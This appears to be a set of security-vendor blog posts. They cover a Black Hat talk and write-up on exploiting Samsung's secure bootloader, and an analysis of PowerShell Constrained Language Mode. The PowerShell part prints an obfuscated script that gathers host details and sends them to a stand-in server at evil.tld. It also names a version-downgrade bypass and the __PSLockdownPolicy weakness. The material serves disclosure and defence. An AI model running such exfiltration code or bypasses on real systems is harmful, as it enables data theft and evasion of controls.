We were glad to announce that TeamT5 was again accepted at Black Hat USA. And this time, our vulnerability research team, D39, presented their latest exploit research on Samsung S10 secure bootloader at the Black Hat Briefings. We were very honored to share our research findings with researchers and security experts all over the world in this annual flagship conference.

![BHUSA_cover](https://legacy-uploads.teamt5.org/BHUSA_cover_48fcf0b266.jpg)
_TeamT5's vulnerability researcher presented on Black Hat USA 2020._

## About D39's Vulnerability Research Finding

D39 has been focusing on vulnerability research and has identified several critical security flaws. We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. In Black Hat USA 2020, we elaborated how did we discover and exploit the vulnerabilities in detail, demonstrated the exploit on a Samsung Galaxy S10 smartphone, and had a discussion on the possible impact of these vulnerabilities.

![Disclosure timeline](https://legacy-uploads.teamt5.org/Disclosure_timeline_422975e76a.jpg)
_Timeline of the vulnerability disclosure, patch release and assignment of SVE IDs._

## About Black Hat
Black Hat is the world’s leading information security event, and remains the best and biggest event of its kind. It provides attendees with cutting-edge security research, development and trends, and has the ability to define tomorrow’s information security landscape. Black Hat USA 2020 went fully virtual this year, held over the same dates from 1 to 6 August, in light of the coronavirus pandemic.

*Image courtesy of Black Hat from https://www.blackhat.com/us-20/

Black Hat’s Talk: D39 Shares Their Research on Breaking Samsung Secure Boot at Black Hat USA 2020

TeamT5はBlack Hat USAへ再度招かれたことを発表させていただきます。今回、当社の脆弱性調査チームであるD39が、Black HatのブリーフィングでSamsung S10セキュアブートローダーで起こった侵害に関する最新の調査結果を発表しました。当社はこのメジャーな年次カンファレンスで、世界中の研究者やセキュリティ専門家へ調査結果を発表できることを光栄に感じています。

![BHUSA_cover](https://legacy-uploads.teamt5.org/BHUSA_cover_48fcf0b266.jpg)
_TeamT5の脆弱性専門家がBlack Hat USA 2020で調査結果を発表しました。_

## D39の脆弱性調査結果について

D39は脆弱性の調査に焦点を当てており、数種類の深刻なセキュリティの脆弱性を見つけています。当社はSamsungセキュアブートで複数の脆弱性を発見し、Samsung Knoxの保護を突破できることが判明しました。Black Hat USA 2020では、脆弱性を見つけた方法と侵害方法を詳細に解説し、Samsung Galaxy S10スマートフォンで侵害を実演し、こうした脆弱性が与える影響について話し合いました。

![Disclosure timeline](https://legacy-uploads.teamt5.org/Disclosure_timeline_422975e76a.jpg)
_Timeline of the vulnerability disclosure, patch release and assignment of SVE IDs._

## Black Hatについて
Black Hatは世界的な情報セキュリティイベントであり、同種では最高レベルかつ最大規模のイベントです。セキュリティで最先端の調査、開発、状況を参加者に伝えるため、将来の情報セキュリティ環境を整えることが可能です。COVID-19のパンデミックを受け、Black Hat USA 2020は今年度すべてバーチャルにて同じ8月1日～6日に開催されました。

*画像のソース: Black Hat, from https://www.blackhat.com/us-20/

Black Hatでの講演：D39がBlack Hat USA 2020にて、Samsungのセキュアブートへの侵害に関する調査結果を披露します。

## About D39

D39 focuses on vulnerability research and has identified several critical security flaws, including technical exploitation of mobile, IoT devices, and Linux and Windows operating systems. We have reported dozens of vulnerabilities and dedicate to Samsung Vulnerabilities and Exposures (SVE) and Common Vulnerabilities and Exposures (CVE).

Before diving into the main subject this month, we are glad to announce that TeamT5 is again accepted at Black Hat USA, and our vulnerability research team, D39, will talk at the Black Hat Briefings in the upcoming August. We are honored to share our research findings with researchers and security experts all over the world and expect more recognition of Taiwan's vulnerability researchers in the world.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hat Session](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

This article will cover a part of our talk at Black Hat USA in August.

## Introduction

We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. We can even retrieve users' sensitive data from a locked device. The affected Samsung mobiles include Galaxy S8, S9, and S10. Patches to these vulnerabilities have been provided by Samsung.

One of these vulnerabilities allows attackers to execute arbitrary code in Galaxy S8 secure bootloader to access the device. In this article, we will elaborate how we exploit these vulnerabilities to bypass S8 secure bootloader through the USB device and obtain arbitrary code execution in early boot stage.

Note: Another security research team found this vulnerability at the same time and report it to Samsung.
ID: SVE-2019-15230 (details below).
![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/SVE-2019_3bc5eea84d.png)

## KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[Image courtesy](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

As the market leader of smartphone, Samsung conducts a series of protection on Android, known as the Knox Platform, to ensure the security of its devices. During the booting process, Samsung uses S-boot (Secure Boot) to make sure it can only boot a stocked image. If the device tries to boot a custom image, it will trip (turned from 0X0 to 0X1) a one-time programmable bit e-fuse (a.k.a Knox bit). Once a trustzone app (trustlet) detects the Knox bit tripped, it will delete the encryption key of sensitive data to prevent unauthorized data from accessing the locked device.

## Vulnerability

Smartphones with Samsung Exynos processor use a exclusive secure bootloader named S-boot. S-boot has ODIN mode which allows users to upgrade the firmware manually. Due to the insufficiency in its code, the flash command (opcode: 0x66) in ODIN mode is not able to properly check the flash image size, which leads to buffer overflow.

The flash command in ODIN mode uses a temporary buffer to store the image. In Galaxy S8, the buffer is located at 0xC0000000, right in front of sboot code segment (0xC9000000). Although the system will check to ensure that the size being no larger than 0x1e0000, it uses signed comparison to check the size of the image; thus provide us some space to get around. We therefore provide a size larger than 0x80000000, making buffer overflowed and, in the end, the following segments such as code, stack, and heap will be overwritten.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

## The Exploit

### Code Execution

Although we can overflow the code segment of S-Boot, we still cannot hijack the execution flow. Since USB receivers use physical memory to hold the data it received directly, we cannot affect instruction cache unless the cache line has been invalidated.

Fortunately, the heap segment is not cached due to MMU flag. There are some pointers stored in the heap segment, which can be accessed during the USB process. If we overwrite these pointers with null bytes, the processor will trigger an exception and trap into the exception handler while accessing to NULL pointers. Since the handler has never been executed, it is not cached in the instruction cache. Therefore we can also overwrite the exception handler simultaneously and hijack it directly to our shellcode.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

### Booting Custom Kernel

Since all the run-time data has been overwritten -- including stack, heap and global variables -- the sboot fail to perform further booting operation. These kinds of data are difficult to recover, so we must re-execute the booting process.

Under normal condition, S-boot calls several functions in a particular function table which is located at 0xC90C7350. To re-execute s-boot, these functions have to be invoked sequentially again. They would initialize the memory of heap and stack, set the global variables, and boot the kernel at the end. However, these functions also involve some SMC calls which cannot be executed twice. Since we only compromised EL1 (Exception Level 1), the trustzone in EL3 (Exception Level 3) cannot be reverted. As a result, we have to overwrite these SMC calls with NOP instruction while overflowing the code segment to ignore those SMC (System Management Controller) calls.

After all the run-time data has been reset, we replace the original kernel with our custom one. Then we execute one last function to boot our custom kernel and get the **root privilege without blowing KNOX bit**.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

## Timeline

2019-10-02 Report Vulnerability
 
2019-10-08 Informed Vulnerability duplicated and release patch note

## Appendix: Potential Exploit Path on Galaxy S10

According to our analysis, this vulnerability affects Galaxy S9, Galaxy S10 and Galaxy Note 10 as well. Among them we find that exploitation can still be trigger at different address. For instance, even the temporary buffer located at different addresss, like 0x890000000 in Galaxy S10, there are still chances to exploit it. To explain the complete exploitation flow, we choose the firmware, G970FXXU1ASD5, as an example.

In Galaxy S9 and later version, there is another feature added to the secure boot - compressed_download. It uses another buffer to store the flash image. However if compressed_download failed during the initialization, it will fallback to normal download, and use the buffer (0xC0000000) to store the flash image.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

To make S-boot fallback to normal download, we have to make the function `cd_v3_smp_register` fail. After reversing, we noticed that the function `cd_v3_smp_register` may return failed if there is no available core(`booted_cores` > 3) can be booted. Coincidentally, there is a test command - "smp_boot_test" in the UART (Universal Asynchronous Receiver/Transmitter) console. The command smp_boot_test will boot a core and add the count of the booted_cores. Although `smp_boot_test` shutdown the booted up core immediately, it didn't restore the count. Therefore, the compressed_download_init may failed if the command `smp_boot_test` has been invoked more than twice before entering the download mode.

If we have the UART debug cable to get the UART console, we can call the command`smp_boot_test` 3 times and enter the download mode via the command `usb`. The `compressed_download_init` would fail, then the temporary buffer fallback to 0xC0000000. Therefore the arbitrary code execution on S10's bootloader can be achieved as the one in Galaxy S8.

We managed to build our own TypeC debug cable at first. However, after trying every kinds of Pull-up/down resistor value, TypeC accessory mode, TypeC VDM, we cannot yet figure out a cable for RID_523K detection. Still, in the end, we applied other approach that enable us to attain **Galaxy S10 Secure Bootloader's permission of arbitrary code** without having debug cable.

We will have a thorough display on Black Hat. Stay tuned!

For the latest vulnerability research from D39, please follow:

TeamT5 official website: [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

Twitter: [https://twitter.com/TeamT5_Official](https://twitter.com/TeamT5_Official)

BlackHat's Talk: Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot

## D39について

D39は脆弱性研究に注力しており、モバイル、IoTデバイス、LinuxおよびWindowsオペレーティングシステムへの技術的な悪用を含めた、重大なセキュリティ上の欠陥を複数特定しています。私たちが報告した脆弱性は何十種類におよび、SVE（Samsung Vulnerabilities and Exposures）とCVE（Common Vulnerabilities and Exposures）を専門としています。

今月の本題に入る前に、Black Hat USAにTeamT5が再び招待され、来る8月のBlack Hat情報説明会では、当社の脆弱性調査チームであるD39が講演することになりましたのでお知らせします。私たちの研究成果を世界中の研究者やセキュリティ専門家と共有できることを光栄に思うとともに、台湾の脆弱性研究者が世界でより高く評価されることを期待しています。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hatセッション](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

本記事では、8月に開催されたBlack Hat USAでの講演の一部をご紹介します。

## はじめに

Samsungセキュアブートに複数の脆弱性が見つかり、Samsung Knoxの保護を突破できることが判明しました。ロックされたデバイスから、ユーザーの機密データを取り出すこともできます。影響を受けるSamsung製モバイルフォンGalaxy S8、S9、S10です。これらの脆弱性に対するパッチが、Samsung社から提供されています。

これらの脆弱性の1つでは、攻撃者がGalaxy S8のセキュアブートローダーで任意のコードを実行して、端末にアクセスすることができます。本記事では、USBデバイスを使用して、こういった脆弱性を悪用しS8のセキュアブートローダーを回避し、起動初期段階で任意のコードを実行させる方法について詳しく見ていきましょう。

備考：別のセキュリティ研究チームも同時にこの脆弱性を発見しており、Samsungに報告しています。
ID：SVE-2019-15230（詳細は以下を参照）。

**SVE-2019-15230：ブートローダでの整数がオーバーフローする可能性**
- 重大度：クリティカル
- 影響を受けるバージョン：Exynosチップセットを搭載したN(7.x)、O(8,x)、P(9,0)
- 報告日：2019年8月8日
- 情報開示状況：非公開。
- ブートローダ内における符号付き整数と符号なし整数の型の不一致により、整数のオーバーフローが発生する可能性がある。
- パッチでは、変数の型を符号なし整数に変更することで、整数のオーバーフローを防止している。


## KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[画像のソース](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

スマートフォン市場のリーダーとして君臨するSamsungは、自社のデバイスのセキュリティを確保するため、Android上で様々な保護を実施しており、これはKnoxプラットフォームと呼ばれています。起動時にSamsungはS-boot（セキュアブート）を使用して、保管されている画像のみしか起動できないようにしています。デバイスがカスタムイメージを起動しようとすると、1回だけプログラムできるビットe-fuse（通称Knoxビット）がトリップします（0X0から0X1へと変化）。トラストゾーンアプリ（trustlet）はKnoxビットのトリップを検出次第、機密データの暗号キーを削除し、不正なデータがロックされたデバイスにアクセスできないようにします。

## 脆弱性

Samsung Exynosプロセッサを搭載したスマートフォンは、S-bootと呼ばれる独自のセキュアブートローダーを採用しています。S-bootにはODINモードがあり、ユーザーはこのモードを使うことで、手動でファームウェアをアップグレードすることができます。そのコード内に不備があることから、ODINモードのフラッシュコマンド（オペコード：0x66）は、フラッシュイメージのサイズを正しくチェックすることができず、それによりバッファオーバーフローへとつながります。

ODINモードのflashコマンドは、画像を保存するにあたり一時的なバッファを使用します。Galaxy S8では、バッファは0xC0000000にあり、これはsbootコードセグメント（0xC9000000）のすぐ前に位置しています。システムはサイズが0x1e0000より大きくならないように確認しますが、画像のサイズをチェックするにあたり符号付きで比較するため、ここに回避するためのスキが生まれます。そのため、0x80000000より大きなサイズを指定してバッファをオーバーフローさせれば、最終的にコード、スタック、ヒープなどの後続のセグメントが上書きされます。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

## 弱点の悪用

### コードの実行

S-Bootのコードセグメントをオーバーフローさせることはできますが、実行フローをハイジャックすることはできません。USBレシーバーは受信したデータを直接物理メモリに保持するため、キャッシュラインが無効化されない限り、命令キャッシュに影響を与えることはできないからです。

幸い、MMUフラグがあることから、ヒープセグメントはキャッシュされていません。ヒープセグメントにはいくつかのポインターが格納されており、これらのポインターにはUSB処理中にアクセスすることができます。これらのポインターをNULLバイトで上書きすると、プロセッサは例外をトリガーし、NULLポインターへのアクセス中に例外ハンドラーにトラップされます。ハンドラーは一度も実行されていないため、命令キャッシュにはキャッシュされません。従って、例外ハンドラーも同時に上書きすることで、私たちが作成したシェルコードに引き込んで直接ハイジャックすることができます。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

### カスタムカーネルの起動

スタック、ヒープ、グローバル変数を含めたすべてのランタイムデータが上書きされたため、sbootはこれ以降の起動に失敗します。こういったデータは復旧が困難なため、起動プロセスを再実行する必要があります。

通常、S-bootは、0xC90C7350にある特定の関数テーブル内から複数の関数を呼び出します。s-bootを再実行するためには、これらの関数を再度順次に呼び出す必要があります。関数がヒープやスタックなどのメモリを初期化し、グローバル変数を設定して、最後にカーネルを起動します。しかしながら、これらの関数には2回実行できないSMC呼び出しも含まれています。EL1（例外レベル1）のみを侵害しているので、EL3（例外レベル3）のトラストゾーンを元に戻すことはできません。ですから、SMC呼び出しをNOP命令で上書きしながら、これらのSMC（System Management Controller）呼び出しを無視するために、コードセグメントをオーバーフローさせる必要があります。

すべてのランタイムデータがリセットされた後、オリジナルのカーネルをカスタムカーネルに置き換えます。その後、最後の関数を実行してカスタムカーネルを起動し、**KNOXビットをブローさせることなくルート権限** を取得します。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

## タイムライン

2019年10月02日 脆弱性を報告
 
2019年10月08日 脆弱性を重複できたことを報告し、パッチノートをリリ

## 付録：Galaxy S10に存在する潜在的な悪用パス

当社の分析によると、この脆弱性はGalaxy S9、Galaxy S10、Galaxy Note 10にも影響を及ぼします。これらの機種の中では、異なるアドレスであったとしても弱点の悪用がトリガーされる可能性があることがわかりました。例えば、Galaxy S10の0x890000000のように、一時バッファが異なるアドレスにある場合でも、悪用される可能性はあります。悪用の完全な流れを説明するために、ファームウェアであるG970FXXU1ASD5を一例として挙げています。

Galaxy S9以降のバージョンでは、セキュアブートにもう一つの機能であるcompressed_downloadが追加されています。この機能は、別のバッファを使用してフラッシュイメージを格納します。しかしながら、初期化中にcompressed_downloadが失敗した場合、通常のダウンロードにフォールバックし、フラッシュイメージの保存にはバッファ（0xC0000000）が使用されます。


![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

S-bootを通常のダウンロードにフォールバックさせるためには、```cd_v3_smp_register```関数を失敗させる必要があります。入れ替えを行ったところ、起動できるコアがない場合に（`booted_cores` > 3）、関数```cd_v3_smp_register```が失敗を返す可能性があることに気づきました。偶然にも、テストコマンドである```smp_boot_test```がUART（Universal Asynchronous Receiver/Transmitter）コンソールにあります。smp_boot_testコマンドはコアを起動し、booted_coresのカウント数を加算します。```smp_boot_test```は起動したコアをすぐにシャットダウンしますが、カウントは復元されませんでした。そのため、ダウンロードモードに入る前に```smp_boot_test``` コマンドを2回以上実行すれば、compressed_download_init が失敗する可能性があります。

UARTデバッグケーブルでUARTコンソールを取得していれば、```smp_boot_test```コマンドを3回呼び出して、```usb```コマンドでダウンロードモードに入ることができます。```compressed_download_init```は失敗し、一時バッファが0xC0000000にフォールバックします。そのため、Galaxy S8の場合と同様に、S10のブートローダ上で任意のコードを実行することが可能になります。

最初は、当社自身でTypeCデバッグケーブルを構築することに成功しました。しかしながら、レジスタ値、TypeCのアクセサリーモード、TypeCのVDMであらゆる値を試してみましたが、RID_523Kを検出するケーブルはまだ見つかっていません。最終的には、デバッグケーブルなしで、**Galaxy S10セキュアブートローダーの任意のコード許可** を得ることができる別の方法を適用しました。

Black Hatで詳しく説明する予定です。お楽しみに。

D39が実施した最新の脆弱性調査については、以下を参照してください。

TeamT5公式ウェブサイト： [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

ツイッター： 
 
[TeamT5](https://twitter.com/TeamT5_Official)
 
[TeamT5 株式会社](https://twitter.com/TeamT5_JP)

BlackHatでのトーク：SamsungのRoot of Trustを破壊 - Samsungのセキュアブートへの悪用

Technical Analysis

## What is Constrained Language Mode and Why it Matters

When PowerShell was [first announced in 2006](https://betanews.com/2006/11/14/windows-powershell-1-0-released/), it was meant to be a flexible command-line shell that features an easy-to-understand yet advanced scripting engine for IT admins. Fast forward to (almost) a decade and a half later, PowerShell has caught up in popularity and has superseded the now-legacy `cmd.exe` in current Windows 10 releases.

However, PowerShell has also been weaponized heavily over the past decade. There is an abundance of PowerShell-based samples all over public sandboxes, and [APTs are known to abuse it whenever possible](https://attack.mitre.org/techniques/T1059/001/). The advanced scripting engine is often utilized to launch fileless/in-memory attacks or [use it as a way around AMSI](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/). In this post, we will be focusing on a lesser-known feature that can be used to combat this threat: Language Mode.

PowerShell was launched with an option to change its ["Language Mode"](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2). This Language Mode option allows the user to switch between syntaxes allowed or disallowed. By default, all PowerShell sessions are launched with `FullLanguage`, which permits all the available syntaxes and cmdlets at runtime. There are four total language modes available: `FullLanguage`, `RestrictedLanguage`, `NoLanguage` and finally `ConstrainedLanguage`. In today's topic, we are here to focus on the `ConstrainedLanguage` mode introduced in PowerShell 3.0.

 

### Safer PowerShell Environment

First off, let's take a look at what Microsoft Docs says about the `ConstrainedLanguage` mode:

> - All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
> - All elements of the PowerShell scripting language are permitted.
> - All modules included in Windows can be imported and all commands that the modules export run in the session.
> - In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
> - The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
> - Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:
> - Scripting.Dictionary
> - Scripting.FileSystemObject
> - VBScript.RegExp

 

#### No Arbitrary C# Code via Add-Type

> The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Many PowerShell-based exploits rely on .NET-based language compilation via `Add-Type` - and that's already thrown out the window by disallowing arbitrary C# code compilation.

![202101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_1_38111256c4.png)

 

#### Non-whitelisted Types are Prohibited

> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

In laymen's terms, every non-whitelisted type and its methods/properties are blocked from execution. Classes such as `System.Reflection.Assembly`/`System.Convert`/`System.Runtime.CompilerServices` and many more are out-of-reach for threat actors, making code injection or fileless attacks that rely on additional PEs much more difficult.

![202101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_2_ec73ef8561.png)

 

### Prohibit Complex Scripts from Executing

Given the above limitations, this does mean that legitimate complex scripts may not be able to execute correctly. For instance, if your organization uses a script that utilizes WinForm or WPF (Windows Presentation Framework), those will not work at all.

![202101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_3_80ad190a95.png)

Consequentially, modules are affected by this whitelisting system as well. Modules that rely on created types or non-whitelisted type calls will not load properly.

![202101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_4_aa876d7833.png)

Therefore, it is crucial to **double-check your organization's scripts** (if you have any) *before* enrolling this policy to your endpoints.

 

### Require Explicit Feature Enrollment

Since, by default, this language mode is an opt-in feature, the user would either have to call `$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"` at the beginning of each session or add `__PSLockdownPolicy` to the system environment variables (**DO NOT** do this for production. [See the section below](#beware-of-pslockdownpolicy). Neither of which is ideal and should only be used for debugging, unit testing, or for general testing purposes only.

Instead, the administrator(s) of your organization should deploy via WDAC (Windows Defender Application Control) on Windows 10+ *or* via AppLocker on Windows 7+. When implemented this way, the attacker will first have to bypass WDAC or AppLocker before gaining full control of a standard PowerShell session. A guideline regarding the deployment for individual or mass number of endpoints can be found under the [Application Control for Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control) article on Microsoft Docs.

 

### Effective Against Scripts, not Standard Cmdlets

It must be made clear that merely enabling Constrained Language Mode is not enough to mitigate the risks PowerShell can bring. While restricting users to a lower-privileged language mode ensures no custom .NET assemblies or code can be executed, this does not stop attackers from crafting malicious scripts from the built-in cmdlets alone. For example, an attacker may still be able to craft a script that collects relevant intel about the computer and send it back to their C2 station.

The following, as an example, will continue to run fine under a PowerShell session with Constrained Language mode enabled.

```ps1
Start-Job -ScriptBlock {
 while($true){
 # MAC address collection
 .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
 # OSs + username collection
 .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
 # WAN IP collection
 &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
 # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
 .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
 ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
 # Compresses the file
 &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
 # Sends it back to the C2 station
 &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
 &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
 }
}
```

Additionally, attackers may still be able to call external resources to achieve their goal, such as achieving persistence via `schtask` or placing additional payloads under `shell:startup`. Remember, Constrained Language mode does **NOT** block most existing cmdlets from functioning; in other words, it limits what the threat actor has on their disposal, but does not mean that they cannot make do with vanilla cmdlets or standard Windows applications.

 

#### Beware of `__PSLockdownPolicy`

Aside from weaponizing existing cmdlets, if the admins had "enabled" the language feature via `__PSLockdownPolicy`, then it would be trivial for attackers with administrative privileges to restore the language policy. Let's take a look at what this environment variable actually does.

![202101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_5_707aff90b6.png)

We'll see that it has brought us to the `SystemPolicy` class under the `wldpNativeMethods.cs` file. In various articles that reference this environment variable, they would instruct the administrator to set the `__PSLockdownPolicy` variable to `4`. A value of 4 corresponds with the `WLDP_LOCKDOWN_UMCIENFORCE_FLAG` constant, which indicates the enforcement of UMCI (User-mode Code Integrity).

![202101-6.gif](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230069/202101_6_2a4f7bdb5c.gif)

The call's parent method happens to be named `GetDebugLockdownPolicy`, which indicates that this behavior was meant to be a debug feature, rather than something that should be in a production environment.

![202101-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230072/202101_7_4f3622def2.png)

This theory is further backed up by the statement made by [Matt Graeber](https://twitter.com/mattifestation/status/921509830644269062), a renowned security researcher well-versed in WDAC. Further research also shows this behavior was mentioned by the PowerShell team in its [official post regarding Constrained Language Mode as well](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/):

> As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called `__PSLockdownPolicy`. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

It must be emphasized that administrators should **NOT** deploy this to their endpoints as a way to enable Constrained Language mode - and be extra mindful when reading through articles regarding security features.

 

### Compatibility with Legacy OSs

Another thing to consider before rolling this feature out to endpoints is legacy OSs. As mentioned at the beginning of this post, Constrained Language mode is only available on PowerShell 3.0 onwards - and Windows 7 ships with PowerShell 2.0 by default.

![202101-8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230074/202101_8_6103f884e7.png)

While it is possible to install WMF 5.1 on older systems such as Windows 7, these systems likely ship with PowerShell 2.0 as its core component as well, which is susceptible to *downgrade attacks*.

All the attacker needs to do is, instead of starting a standard PowerShell 5.1 session, spawn a PowerShell 2.0 session using `PowerShell.exe -Version 2`. Since `ConstrainedLanguage` mode doesn't exist in that version, it will simply fallback to using `FullLanguage`.

![202101-9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230075/202101_9_7d51c2552d.png)

This is much less of a problem on Windows 10, as PowerShell 5.1 is shipped with the system by default and 2.0 can be removed by using `Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root`. After then, any attempts to launch PowerShell v2 will result in an error message.

```text
PS C:\> powershell -v 2
Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
```

 

## Hypothetical Testing

To see how effective this mode is against hypothetical attacks, we ...

- gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.
 - These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't `*.ps1` scripts) in any way.
- executed the scripts via `ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}`.
- ran these samples on a system with `ConstrainedLanguage` mode enabled.
- ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.
 - Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

![202101-10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230077/202101_10_0e10676b7f.png)

 

In our testing,

- `ConstrainedLanguage` blocked ...
 - 100% (141/141) of the samples from executing properly.
 - ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
 - 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
 - 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
 - 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
 - 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
- `ConstrainedLanguage` failed to block ...
 - 0.7% (1/141) of the samples that had managed to create persistence entries.

 

## Conclusion

Since PowerShell is now [an integral part](https://support.microsoft.com/en-us/windows/powershell-is-replacing-command-prompt-fdb690cf-876c-d866-2124-21b6fb29a45f) of modern Windows OSs, sysadmins should not underestimate the risks that PowerShell can bring to the organization.

In the article, we went through the benefits and drawbacks of `ConstrainedLanguage` and how it performs in a hypothetical test. By enabling the engine feature, the risk of PowerShell-introduced exploitation is greatly lowered - if enrolled properly. Organizations should also consider whether or not the reduced availability of modules and or scripts is worth the tradeoff before enrolling this language policy.

 


*Image courtesy of [Pexels](https://www.pexels.com/)
